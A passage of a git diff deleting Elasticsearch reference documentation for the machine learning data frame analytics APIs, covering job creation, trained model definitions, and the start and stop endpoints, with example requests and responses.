-If `analyzed_fields` is not set, only the relevant fields will be included. For
-example, all the numeric fields for {oldetection}. For more information about
-field selection, see <<explain-dfanalytics>>.
---
-+
-.Properties of `analyzed_fields`
-[%collapsible%open]
-====
-`excludes`:::
-(Optional, array)
-An array of strings that defines the fields that will be excluded from the
-analysis. You do not need to add fields with unsupported data types to
-`excludes`, these fields are excluded from the analysis automatically.
-
-`includes`:::
-(Optional, array)
-An array of strings that defines the fields that will be included in the
-analysis.
-//End analyzed_fields
-====
-
-`description`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=description-dfa]
-
-`dest`::
-(Required, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dest]
-
-`max_num_threads`::
-(Optional, integer)
-The maximum number of threads to be used by the analysis.
-The default value is `1`. Using more threads may decrease the time
-necessary to complete the analysis at the cost of using more CPU.
-Note that the process may use additional threads for operational
-functionality other than the analysis itself.
-
-`model_memory_limit`::
-(Optional, string)
-The approximate maximum amount of memory resources that are permitted for
-analytical processing. The default value for {dfanalytics-jobs} is `1gb`. If
-your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit`
-setting, an error occurs when you try to create {dfanalytics-jobs} that have
-`model_memory_limit` values greater than that setting. For more information, see
-<<ml-settings>>.
-
-`source`::
-(object)
-The configuration of how to source the analysis data. It requires an `index`.
-Optionally, `query` and `_source` may be specified.
-+
-.Properties of `source`
-[%collapsible%open]
-====
-`index`:::
-(Required, string or array) Index or indices on which to perform the analysis.
-It can be a single index or index pattern as well as an array of indices or
-patterns.
-+
-WARNING: If your source indices contain documents with the same IDs, only the
-document that is indexed last appears in the destination index.
-
-`query`:::
-(Optional, object) The {es} query domain-specific language (<<query-dsl,DSL>>).
-This value corresponds to the query object in an {es} search POST body. All the
-options that are supported by {es} can be used, as this object is passed
-verbatim to {es}. By default, this property has the following value:
-`{"match_all": {}}`.
-
-`_source`:::
-(Optional, object) Specify `includes` and/or `excludes` patterns to select which
-fields will be present in the destination. Fields that are excluded cannot be
-included in the analysis.
-+
-.Properties of `_source`
-[%collapsible%open]
-=====
-`includes`::::
-(array) An array of strings that defines the fields that will be included in the
-destination.
-
-`excludes`::::
-(array) An array of strings that defines the fields that will be excluded from
-the destination.
-=====
-====
-
-
-
-[[ml-put-dfanalytics-example]]
-== {api-examples-title}
-
-
-[[ml-put-dfanalytics-example-preprocess]]
-=== Preprocessing actions example
-
-The following example shows how to limit the scope of the analysis to certain
-fields, specify excluded fields in the destination index, and use a query to
-filter your data before analysis.
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/model-flight-delays-pre
-{
-  "source": {
-    "index": [
-      "kibana_sample_data_flights" <1>
-    ],
-    "query": { <2>
-      "range": {
-        "DistanceKilometers": {
-          "gt": 0
-        }
-      }
-    },
-    "_source": { <3>
-      "includes": [],
-      "excludes": [
-        "FlightDelay",
-        "FlightDelayType"
-      ]
-    }
-  },
-  "dest": { <4>
-    "index": "df-flight-delays",
-    "results_field": "ml-results"
-  },
-  "analysis": {
-  "regression": {
-    "dependent_variable": "FlightDelayMin",
-    "training_percent": 90
-    }
-  },
-  "analyzed_fields": { <5>
-    "includes": [],
-    "excludes": [
-      "FlightNum"
-    ]
-  },
-  "model_memory_limit": "100mb"
-}
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> Source index to analyze.
-<2> This query filters out entire documents that will not be present in the
-destination index.
-<3> The `_source` object defines fields in the dataset that will be included or
-excluded in the destination index.
-<4> Defines the destination index that contains the results of the analysis and
-the fields of the source index specified in the `_source` object. Also defines
-the name of the `results_field`.
-<5> Specifies fields to be included in or excluded from the analysis. This does
-not affect whether the fields will be present in the destination index, only
-affects whether they are used in the analysis.
-
-In this example, we can see that all the fields of the source index are included
-in the destination index except `FlightDelay` and `FlightDelayType` because
-these are defined as excluded fields by the `excludes` parameter of the
-`_source` object. The `FlightNum` field is included in the destination index,
-however it is not included in the analysis because it is explicitly specified as
-excluded field by the `excludes` parameter of the `analyzed_fields` object.
-
-
-[[ml-put-dfanalytics-example-od]]
-=== {oldetection-cap} example
-
-The following example creates the `loganalytics` {dfanalytics-job}, the analysis
-type is `outlier_detection`:
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/loganalytics
-{
-  "description": "Outlier detection on log data",
-  "source": {
-    "index": "logdata"
-  },
-  "dest": {
-    "index": "logdata_out"
-  },
-  "analysis": {
-    "outlier_detection": {
-      "compute_feature_influence": true,
-      "outlier_fraction": 0.05,
-      "standardization_enabled": true
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:setup_logdata]
-
-
-The API returns the following result:
-
-[source,console-result]
-----
-{
-  "id": "loganalytics",
-  "description": "Outlier detection on log data",
-  "source": {
-    "index": ["logdata"],
-    "query": {
-      "match_all": {}
-    }
-  },
-  "dest": {
-    "index": "logdata_out",
-    "results_field": "ml"
-  },
-  "analysis": {
-    "outlier_detection": {
-      "compute_feature_influence": true,
-      "outlier_fraction": 0.05,
-      "standardization_enabled": true
-    }
-  },
-  "model_memory_limit": "1gb",
-  "create_time" : 1562265491319,
-  "version" : "7.6.0",
-  "allow_lazy_start" : false,
-  "max_num_threads": 1
-}
-----
-// TESTRESPONSE[s/1562265491319/$body.$_path/]
-// TESTRESPONSE[s/"version" : "7.6.0"/"version" : $body.version/]
-
-
-[[ml-put-dfanalytics-example-r]]
-=== {regression-cap} examples
-
-The following example creates the `house_price_regression_analysis`
-{dfanalytics-job}, the analysis type is `regression`:
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/house_price_regression_analysis
-{
-  "source": {
-    "index": "houses_sold_last_10_yrs"
-  },
-  "dest": {
-    "index": "house_price_predictions"
-  },
-  "analysis":
-    {
-      "regression": {
-        "dependent_variable": "price"
-      }
-    }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-
-The API returns the following result:
-
-[source,console-result]
-----
-{
-  "id" : "house_price_regression_analysis",
-  "source" : {
-    "index" : [
-      "houses_sold_last_10_yrs"
-    ],
-    "query" : {
-      "match_all" : { }
-    }
-  },
-  "dest" : {
-    "index" : "house_price_predictions",
-    "results_field" : "ml"
-  },
-  "analysis" : {
-    "regression" : {
-      "dependent_variable" : "price",
-      "training_percent" : 100
-    }
-  },
-  "model_memory_limit" : "1gb",
-  "create_time" : 1567168659127,
-  "version" : "8.0.0",
-  "allow_lazy_start" : false
-}
-----
-// TESTRESPONSE[s/1567168659127/$body.$_path/]
-// TESTRESPONSE[s/"version": "8.0.0"/"version": $body.version/]
-
-
-The following example creates a job and specifies a training percent:
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/student_performance_mathematics_0.3
-{
- "source": {
-   "index": "student_performance_mathematics"
- },
- "dest": {
-   "index":"student_performance_mathematics_reg"
- },
- "analysis":
-   {
-     "regression": {
-       "dependent_variable": "G3",
-       "training_percent": 70,  <1>
-       "randomize_seed": 19673948271  <2>
-     }
-   }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> The percentage of the data set that is used for training the model.
-<2> The seed that is used to randomly pick which data is used for training.
-
-The following example uses custom feature processors to transform the
-categorical values for `DestWeather` into numerical values using one-hot,
-target-mean, and frequency encoding techniques:
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/flight_prices
-{
-  "source": {
-    "index": [
-      "kibana_sample_data_flights"
-    ]
-  },
-  "dest": {
-    "index": "kibana_sample_flight_prices"
-  },
-  "analysis": {
-    "regression": {
-      "dependent_variable": "AvgTicketPrice",
-      "num_top_feature_importance_values": 2,
-      "feature_processors": [
-        {
-          "frequency_encoding": {
-            "field": "DestWeather",
-            "feature_name": "DestWeather_frequency",
-            "frequency_map": {
-              "Rain": 0.14604811155570188,
-              "Heavy Fog": 0.14604811155570188,
-              "Thunder & Lightning": 0.14604811155570188,
-              "Cloudy": 0.14604811155570188,
-              "Damaging Wind": 0.14604811155570188,
-              "Hail": 0.14604811155570188,
-              "Sunny": 0.14604811155570188,
-              "Clear": 0.14604811155570188
-            }
-          }
-        },
-        {
-          "target_mean_encoding": {
-            "field": "DestWeather",
-            "feature_name": "DestWeather_targetmean",
-            "target_map": {
-              "Rain": 626.5588814585794,
-              "Heavy Fog": 626.5588814585794,
-              "Thunder & Lightning": 626.5588814585794,
-              "Hail": 626.5588814585794,
-              "Damaging Wind": 626.5588814585794,
-              "Cloudy": 626.5588814585794,
-              "Clear": 626.5588814585794,
-              "Sunny": 626.5588814585794
-            },
-            "default_value": 624.0249512020454
-          }
-        },
-        {
-          "one_hot_encoding": {
-            "field": "DestWeather",
-            "hot_map": {
-              "Rain": "DestWeather_Rain",
-              "Heavy Fog": "DestWeather_Heavy Fog",
-              "Thunder & Lightning": "DestWeather_Thunder & Lightning",
-              "Cloudy": "DestWeather_Cloudy",
-              "Damaging Wind": "DestWeather_Damaging Wind",
-              "Hail": "DestWeather_Hail",
-              "Clear": "DestWeather_Clear",
-              "Sunny": "DestWeather_Sunny"
-            }
-          }
-        }
-      ]
-    }
-  },
-  "analyzed_fields": {
-    "includes": [
-      "AvgTicketPrice",
-      "Cancelled",
-      "DestWeather",
-      "FlightDelayMin",
-      "DistanceMiles"
-    ]
-  },
-  "model_memory_limit": "30mb"
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-NOTE: These custom feature processors are optional; automatic
-{ml-docs}/ml-feature-encoding.html[feature encoding] still occurs for all
-categorical features.
-
-[[ml-put-dfanalytics-example-c]]
-=== {classification-cap} example
-
-The following example creates the `loan_classification` {dfanalytics-job}, the
-analysis type is `classification`:
-
-[source,console]
---------------------------------------------------
-PUT _ml/data_frame/analytics/loan_classification
-{
-  "source" : {
-    "index": "loan-applicants"
-  },
-  "dest" : {
-    "index": "loan-applicants-classified"
-  },
-  "analysis" : {
-    "classification": {
-      "dependent_variable": "label",
-      "training_percent": 75,
-      "num_top_classes": 2
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
diff --git a/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc
deleted file mode 100644
index ecf0537d242..00000000000
--- a/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc
+++ /dev/null
@@ -1,664 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[put-trained-models]]
-= Create trained models API
-[subs="attributes"]
-++++
-<titleabbrev>Create trained models</titleabbrev>
-++++
-
-Creates a trained model.
-
-WARNING: Models created in version 7.8.0 are not backwards compatible
-         with older node versions. If in a mixed cluster environment,
-         all nodes must be at least 7.8.0 to use a model stored by
-         a 7.8.0 node.
-
-
-experimental[]
-
-
-[[ml-put-trained-models-request]]
-== {api-request-title}
-
-`PUT _ml/trained_models/<model_id>`
-
-
-[[ml-put-trained-models-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following
-built-in roles or equivalent privileges:
-
-* `machine_learning_admin`
-
-For more information, see <<built-in-roles>> and {ml-docs-setup-privileges}.
-
-
-[[ml-put-trained-models-desc]]
-== {api-description-title}
-
-The create trained model API enables you to supply a trained model that is not
-created by {dfanalytics}.
-
-
-[[ml-put-trained-models-path-params]]
-== {api-path-parms-title}
-
-`<model_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-id]
-
-[role="child_attributes"]
-[[ml-put-trained-models-request-body]]
-== {api-request-body-title}
-
-`compressed_definition`::
-(Required, string)
-The compressed (GZipped and Base64 encoded) {infer} definition of the model.
-If `compressed_definition` is specified, then `definition` cannot be specified.
-
-//Begin definition
-`definition`::
-(Required, object)
-The {infer} definition for the model. If `definition` is specified, then
-`compressed_definition` cannot be specified.
-+
-.Properties of `definition`
-[%collapsible%open]
-====
-//Begin preprocessors
-`preprocessors`::
-(Optional, object)
-Collection of preprocessors. See <<ml-put-trained-models-preprocessor-example>>.
-+
-.Properties of `preprocessors`
-[%collapsible%open]
-=====
-//Begin frequency encoding
-`frequency_encoding`::
-(Required, object)
-Defines a frequency encoding for a field.
-+
-.Properties of `frequency_encoding`
-[%collapsible%open]
-======
-`feature_name`::
-(Required, string)
-The name of the resulting feature.
-
-`field`::
-(Required, string)
-The field name to encode.
-
-`frequency_map`::
-(Required, object map of string:double)
-Object that maps the field value to the frequency encoded value.
-
-`custom`::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-preprocessor]
-
-======
-//End frequency encoding
-
-//Begin one hot encoding
-`one_hot_encoding`::
-(Required, object)
-Defines a one hot encoding map for a field.
-+
-.Properties of `one_hot_encoding`
-[%collapsible%open]
-======
-`field`::
-(Required, string)
-The field name to encode.
-
-`hot_map`::
-(Required, object map of strings)
-String map of "field_value: one_hot_column_name".
-
-`custom`::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-preprocessor]
-
-======
-//End one hot encoding
-
-//Begin target mean encoding
-`target_mean_encoding`::
-(Required, object)
-Defines a target mean encoding for a field.
-+
-.Properties of `target_mean_encoding`
-[%collapsible%open]
-======
-`default_value`:::
-(Required, double)
-The feature value if the field value is not in the `target_map`.
-
-`feature_name`:::
-(Required, string)
-The name of the resulting feature.
-
-`field`:::
-(Required, string)
-The field name to encode.
-
-`target_map`:::
-(Required, object map of string:double)
-Object that maps the field value to the target mean value.
-
-`custom`::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-preprocessor]
-
-======
-//End target mean encoding
-=====
-//End preprocessors
-
-//Begin trained model
-`trained_model`::
-(Required, object)
-The definition of the trained model.
-+
-.Properties of `trained_model`
-[%collapsible%open]
-=====
-//Begin tree
-`tree`::
-(Required, object)
-The definition for a binary decision tree.
-+
-.Properties of `tree`
-[%collapsible%open]
-======
-`classification_labels`:::
-(Optional, string) An array of classification labels (used for
-`classification`).
-
-`feature_names`:::
-(Required, string)
-Features expected by the tree, in their expected order.
-
-`target_type`:::
-(Required, string)
-String indicating the model target type; `regression` or `classification`.
-
-`tree_structure`:::
-(Required, object)
-An array of `tree_node` objects. The nodes must be in ordinal order by their
-`tree_node.node_index` value.
-======
-//End tree
-
-//Begin tree node
-`tree_node`::
-(Required, object)
-The definition of a node in a tree.
-+
---
-There are two major types of nodes: leaf nodes and not-leaf nodes.
-
-* Leaf nodes only need `node_index` and `leaf_value` defined.
-* All other nodes need `split_feature`, `left_child`, `right_child`,
-  `threshold`, `decision_type`, and `default_left` defined.
---
-+
-.Properties of `tree_node`
-[%collapsible%open]
-======
-`decision_type`::
-(Optional, string)
-Indicates the positive value (in other words, when to choose the left node)
-decision type. Supported `lt`, `lte`, `gt`, `gte`. Defaults to `lte`.
-
-`default_left`::
-(Optional, Boolean)
-Indicates whether to default to the left when the feature is missing. Defaults
-to `true`.
-
-`leaf_value`::
-(Optional, double)
-The leaf value of the of the node, if the value is a leaf (in other words, no
-children).
-
-`left_child`::
-(Optional, integer)
-The index of the left child.
-
-`node_index`::
-(Integer)
-The index of the current node.
-
-`right_child`::
-(Optional, integer)
-The index of the right child.
-
-`split_feature`::
-(Optional, integer)
-The index of the feature value in the feature array.
-
-`split_gain`::
-(Optional, double) The information gain from the split.
-
-`threshold`::
-(Optional, double)
-The decision threshold with which to compare the feature value.
-======
-//End tree node
-
-//Begin ensemble
-`ensemble`::
-(Optional, object)
-The definition for an ensemble model. See <<ml-put-trained-models-model-example>>.
-+
-.Properties of `ensemble`
-[%collapsible%open]
-======
-//Begin aggregate output
-`aggregate_output`::
-(Required, object)
-An aggregated output object that defines how to aggregate the outputs of the
-`trained_models`. Supported objects are `weighted_mode`, `weighted_sum`, and
-`logistic_regression`. See <<ml-put-trained-models-aggregated-output-example>>.
-+
-.Properties of `aggregate_output`
-[%collapsible%open]
-=======
-//Begin logistic regression
-`logistic_regression`::
-(Optional, object)
-This `aggregated_output` type works with binary classification (classification
-for values [0, 1]). It multiplies the outputs (in the case of the `ensemble`
-model, the inference model values) by the supplied `weights`. The resulting
-vector is summed and passed to a
-{wikipedia}/Sigmoid_function[`sigmoid` function]. The result
-of the `sigmoid` function is considered the probability of class 1 (`P_1`),
-consequently, the probability of class 0 is `1 - P_1`. The class with the
-highest probability (either 0 or 1) is then returned. For more information about
-logistic regression, see
-{wikipedia}/Logistic_regression[this wiki article].
-+
-.Properties of `logistic_regression`
-[%collapsible%open]
-========
-`weights`:::
-(Required, double)
-The weights to multiply by the input values (the inference values of the trained
-models).
-========
-//End logistic regression
-
-//Begin weighted sum
-`weighted_sum`::
-(Optional, object)
-This `aggregated_output` type works with regression. The weighted sum of the
-input values.
-+
-.Properties of `weighted_sum`
-[%collapsible%open]
-========
-`weights`:::
-(Required, double)
-The weights to multiply by the input values (the inference values of the trained
-models).
-========
-//End weighted sum
-
-//Begin weighted mode
-`weighted_mode`::
-(Optional, object)
-This `aggregated_output` type works with regression or classification. It takes
-a weighted vote of the input values. The most common input value (taking the
-weights into account) is returned.
-+
-.Properties of `weighted_mode`
-[%collapsible%open]
-========
-`weights`:::
-(Required, double)
-The weights to multiply by the input values (the inference values of the trained
-models).
-========
-//End weighted mode
-
-//Begin exponent
-`exponent`::
-(Optional, object)
-This `aggregated_output` type works with regression. It takes a weighted sum of
-the input values and passes the result to an exponent function
-(`e^x` where `x` is the sum of the weighted values).
-+
-.Properties of `exponent`
-[%collapsible%open]
-========
-`weights`:::
-(Required, double)
-The weights to multiply by the input values (the inference values of the trained
-models).
-========
-//End exponent
-=======
-//End aggregate output
-
-`classification_labels`::
-(Optional, string)
-An array of classification labels.
-
-`feature_names`::
-(Optional, string)
-Features expected by the ensemble, in their expected order.
-
-`target_type`::
-(Required, string)
-String indicating the model target type; `regression` or `classification.`
-
-`trained_models`::
-(Required, object)
-An array of `trained_model` objects. Supported trained models are `tree` and
-`ensemble`.
-======
-//End ensemble
-
-=====
-//End trained model
-
-====
-//End definition
-
-`description`::
-(Optional, string)
-A human-readable description of the {infer} trained model.
-
-//Begin inference_config
-`inference_config`::
-(Required, object)
-The default configuration for inference. This can be either a `regression`
-or `classification` configuration. It must match the underlying
-`definition.trained_model`'s `target_type`.
-+
-.Properties of `inference_config`
-[%collapsible%open]
-====
-`regression`:::
-(Optional, object)
-Regression configuration for inference.
-+
-.Properties of regression inference
-[%collapsible%open]
-=====
-`num_top_feature_importance_values`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-regression-num-top-feature-importance-values]
-
-`results_field`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field]
-=====
-
-`classification`:::
-(Optional, object)
-Classification configuration for inference.
-+
-.Properties of classification inference
-[%collapsible%open]
-=====
-`num_top_classes`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-classes]
-
-`num_top_feature_importance_values`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-feature-importance-values]
-
-`prediction_field_type`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-prediction-field-type]
-
-`results_field`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field]
-
-`top_classes_results_field`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-top-classes-results-field]
-=====
-====
-//End of inference_config
-
-//Begin input
-`input`::
-(Required, object)
-The input field names for the model definition.
-+
-.Properties of `input`
-[%collapsible%open]
-====
-`field_names`:::
-(Required, string)
-An array of input field names for the model.
-====
-//End input
-
-`metadata`::
-(Optional, object)
-An object map that contains metadata about the model.
-
-`tags`::
-(Optional, string)
-An array of tags to organize the model.
-
-
-[[ml-put-trained-models-example]]
-== {api-examples-title}
-
-[[ml-put-trained-models-preprocessor-example]]
-=== Preprocessor examples
-
-The example below shows a `frequency_encoding` preprocessor object:
-
-[source,js]
-----------------------------------
-{
-   "frequency_encoding":{
-      "field":"FlightDelayType",
-      "feature_name":"FlightDelayType_frequency",
-      "frequency_map":{
-         "Carrier Delay":0.6007414737092798,
-         "NAS Delay":0.6007414737092798,
-         "Weather Delay":0.024573576178086153,
-         "Security Delay":0.02476631010889467,
-         "No Delay":0.6007414737092798,
-         "Late Aircraft Delay":0.6007414737092798
-      }
-   }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-The next example shows a `one_hot_encoding` preprocessor object:
-
-[source,js]
-----------------------------------
-{
-   "one_hot_encoding":{
-      "field":"FlightDelayType",
-      "hot_map":{
-         "Carrier Delay":"FlightDelayType_Carrier Delay",
-         "NAS Delay":"FlightDelayType_NAS Delay",
-         "No Delay":"FlightDelayType_No Delay",
-         "Late Aircraft Delay":"FlightDelayType_Late Aircraft Delay"
-      }
-   }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-This example shows a `target_mean_encoding` preprocessor object:
-
-[source,js]
-----------------------------------
-{
-   "target_mean_encoding":{
-      "field":"FlightDelayType",
-      "feature_name":"FlightDelayType_targetmean",
-      "target_map":{
-         "Carrier Delay":39.97465788139886,
-         "NAS Delay":39.97465788139886,
-         "Security Delay":203.171206225681,
-         "Weather Delay":187.64705882352948,
-         "No Delay":39.97465788139886,
-         "Late Aircraft Delay":39.97465788139886
-      },
-      "default_value":158.17995752420433
-   }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-[[ml-put-trained-models-model-example]]
-=== Model examples
-
-The first example shows a `trained_model` object:
-
-[source,js]
-----------------------------------
-{
-   "tree":{
-      "feature_names":[
-         "DistanceKilometers",
-         "FlightTimeMin",
-         "FlightDelayType_NAS Delay",
-         "Origin_targetmean",
-         "DestRegion_targetmean",
-         "DestCityName_targetmean",
-         "OriginAirportID_targetmean",
-         "OriginCityName_frequency",
-         "DistanceMiles",
-         "FlightDelayType_Late Aircraft Delay"
-      ],
-      "tree_structure":[
-         {
-            "decision_type":"lt",
-            "threshold":9069.33437193022,
-            "split_feature":0,
-            "split_gain":4112.094574306927,
-            "node_index":0,
-            "default_left":true,
-            "left_child":1,
-            "right_child":2
-         },
-         ...
-         {
-            "node_index":9,
-            "leaf_value":-27.68987349695448
-         },
-         ...
-      ],
-      "target_type":"regression"
-   }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-The following example shows an `ensemble` model object:
-
-[source,js]
-----------------------------------
-"ensemble":{
-   "feature_names":[
-      ...
-   ],
-   "trained_models":[
-      {
-         "tree":{
-            "feature_names":[],
-            "tree_structure":[
-               {
-                  "decision_type":"lte",
-                  "node_index":0,
-                  "leaf_value":47.64069875778043,
-                  "default_left":false
-               }
-            ],
-            "target_type":"regression"
-         }
-      },
-      ...
-   ],
-   "aggregate_output":{
-      "weighted_sum":{
-         "weights":[
-            ...
-         ]
-      }
-   },
-   "target_type":"regression"
-}
-----------------------------------
-//NOTCONSOLE
-
-
-[[ml-put-trained-models-aggregated-output-example]]
-=== Aggregated output example
-
-Example of a `logistic_regression` object:
-
-[source,js]
-----------------------------------
-"aggregate_output" : {
-  "logistic_regression" : {
-    "weights" : [2.0, 1.0, .5, -1.0, 5.0, 1.0, 1.0]
-  }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-Example of a `weighted_sum` object:
-
-[source,js]
-----------------------------------
-"aggregate_output" : {
-  "weighted_sum" : {
-    "weights" : [1.0, -1.0, .5, 1.0, 5.0]
-  }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-Example of a `weighted_mode` object:
-
-[source,js]
-----------------------------------
-"aggregate_output" : {
-  "weighted_mode" : {
-    "weights" : [1.0, 1.0, 1.0, 1.0, 1.0]
-  }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-Example of an `exponent` object:
-
-[source,js]
-----------------------------------
-"aggregate_output" : {
-  "exponent" : {
-    "weights" : [1.0, 1.0, 1.0, 1.0, 1.0]
-  }
-}
-----------------------------------
-//NOTCONSOLE
-
-
-[[ml-put-trained-models-json-schema]]
-=== Trained models JSON schema
-
-For the full JSON schema of trained models,
-https://github.com/elastic/ml-json-schemas[click here].
diff --git a/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc
deleted file mode 100644
index 8536e6c356f..00000000000
--- a/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[start-dfanalytics]]
-= Start {dfanalytics-jobs} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Start {dfanalytics-jobs}</titleabbrev>
-++++
-
-Starts a {dfanalytics-job}.
-
-experimental[]
-
-[[ml-start-dfanalytics-request]]
-== {api-request-title}
-
-`POST _ml/data_frame/analytics/<data_frame_analytics_id>/_start`
-
-[[ml-start-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following built-in roles and privileges:
-
-* `machine_learning_admin`
-* source indices: `read`, `view_index_metadata`
-* destination index: `read`, `create_index`, `manage` and `index`
-
-For more information, see <<built-in-roles>>, <<security-privileges>>, and
-{ml-docs-setup-privileges}.
-
-[[ml-start-dfanalytics-desc]]
-== {api-description-title}
-
-A {dfanalytics-job} can be started and stopped multiple times throughout its 
-lifecycle.
-
-If the destination index does not exist, it is created automatically the first
-time you start the {dfanalytics-job}. The `index.number_of_shards` and
-`index.number_of_replicas` settings for the destination index are copied from
-the source index. If there are multiple source indices, the destination index
-copies the highest setting values. The mappings for the destination index are
-also copied from the source indices. If there are any mapping conflicts, the job
-fails to start.
-
-If the destination index exists, it is used as is. You can therefore set up the
-destination index in advance with custom settings and mappings.
-
-IMPORTANT: When {es} {security-features} are enabled, the {dfanalytics-job}
-remembers which user created it and runs the job using those credentials. If you 
-provided <<http-clients-secondary-authorization,secondary authorization headers>>
-when you created the job, those credentials are used.
-
-[[ml-start-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-define]
-
-[[ml-start-dfanalytics-query-params]]
-== {api-query-parms-title}
-
-`timeout`::
-(Optional, <<time-units,time units>>) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=timeout-start]
-
-[[ml-start-dfanalytics-response-body]]
-== {api-response-body-title}
-
-`acknowledged`::
-  (Boolean) For a successful response, this value is always `true`. On failure, an
-  exception is returned instead.
-
-`node`::
-  (string) The ID of the node that the job was started on.
-  If the job is allowed to open lazily and has not yet been assigned to a node, this value is an empty string.
-
-[[ml-start-dfanalytics-example]]
-== {api-examples-title}
-
-The following example starts the `loganalytics` {dfanalytics-job}:
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/analytics/loganalytics/_start
---------------------------------------------------
-// TEST[skip:setup:logdata_job]
-
-When the {dfanalytics-job} starts, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true,
-  "node" : "node-1"
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc
deleted file mode 100644
index 56dc7497e05..00000000000
--- a/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[stop-dfanalytics]]
-= Stop {dfanalytics-jobs} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Stop {dfanalytics-jobs}</titleabbrev>
-++++
-
-Stops one or more {dfanalytics-jobs}.
-
-experimental[]
-
-[[ml-stop-dfanalytics-request]]
-== {api-request-title}
-
-`POST _ml/data_frame/analytics/<data_frame_analytics_id>/_stop` +
-
-`POST _ml/data_frame/analytics/<data_frame_analytics_id>,<data_frame_analytics_id>/_stop` +
-
-`POST _ml/data_frame/analytics/_all/_stop`
-
-[[ml-stop-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following built-in roles or equivalent privileges:
-
-* `machine_learning_admin`
-  
-For more information, see <<built-in-roles>> and {ml-docs-setup-privileges}.
-
-
-[[ml-stop-dfanalytics-desc]]
-== {api-description-title}
-
-A {dfanalytics-job} can be started and stopped multiple times throughout its 
-lifecycle.
-
-You can stop multiple {dfanalytics-jobs} in a single API request by using a 
-comma-separated list of {dfanalytics-jobs} or a wildcard expression. You can 
-stop all {dfanalytics-job} by using _all or by specifying * as the 
-<data_frame_analytics_id>.
-
-[[ml-stop-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-define]
-  
-[[ml-stop-dfanalytics-query-params]]
-== {api-query-parms-title}  
-  
-`allow_no_match`::
-(Optional, Boolean) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-match]
-
-
-`force`::
-  (Optional, Boolean) If true, the {dfanalytics-job} is stopped forcefully.
-  
-`timeout`::
-(Optional, <<time-units,time units>>) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=timeout-stop]
-
-
-[[ml-stop-dfanalytics-example]]
-== {api-examples-title}
-
-The following example stops the `loganalytics` {dfanalytics-job}:
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/analytics/loganalytics/_stop
---------------------------------------------------
-// TEST[skip:TBD]
-
-When the {dfanalytics-job} stops, you receive the following results:
-
-[source,console-result]
-----
-{
-  "stopped" : true
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc
deleted file mode 100644
index 1de505f06ae..00000000000
